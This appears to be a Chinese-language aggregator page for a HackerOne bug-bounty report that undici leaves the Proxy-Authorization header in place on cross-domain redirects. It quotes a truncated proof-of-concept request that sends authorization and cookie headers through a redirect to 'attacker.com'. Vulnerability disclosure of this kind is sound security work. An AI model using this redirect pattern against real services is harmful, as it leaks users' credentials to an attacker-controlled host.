Proxy-Authorization header is not cleared in cross-domain redirect in undici
该报告还没有中文解读。
原文摘录
摘自原文(1109 字符中的一小部分)
I read this security advisory https://github.com/nodejs/undici/security/advisories/GHSA-wqq4-5wpv-mx2g. It only clears authorization and cookie header during cross-domain redirect . {F3080120}原文中的代码
import { request } from 'undici'
const {
statusCode,
headers,
body
} = await request('http://anysite.com/redirect.php?url=http://attacker.com:8182/vvv',{
maxRedirections: 3,
headers: {
"autHorization": 'tes123t',
"coOkie": "ddd=dddd",
"X-CSRF-Token": …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Internet Bug Bounty 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @timon8 · 版权归作者与 Internet Bug Bounty 所有